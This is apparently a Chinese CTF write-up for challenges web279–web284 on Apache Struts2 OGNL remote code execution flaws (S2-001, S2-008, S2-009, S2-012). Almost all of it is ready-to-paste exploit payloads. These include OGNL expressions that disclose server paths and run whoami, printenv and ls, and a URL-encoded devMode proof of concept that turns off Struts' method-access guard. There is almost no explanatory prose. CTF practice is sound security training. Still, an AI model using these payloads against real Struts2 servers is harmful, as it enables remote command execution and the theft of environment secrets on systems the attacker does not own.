web279

S2-001 远程代码执行

S2-001 是 Apache Struts2 框架中的一个远程代码执行漏洞。该漏洞利用 OGNL 表达式解析用户提交的数据，从而执行任意命令。

S2-001 远程代码执行 漏洞复现-CSDN博客

漏洞验证

%{1+1}
%{3+3}

尝试获取 Tomcat 执行路径：

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获得 Tomcat 执行路径：

tomcatBinDir{/usr/local/tomcat}

尝试获取Web路径：

%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }

exp

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

flag在环境变量中

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"printenv"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

工具梭哈

web282

s2-008RCE

poc

devmode.action?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

工具梭哈

web283

s2-009

工具梭哈

web284

s2-012

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

工具梭哈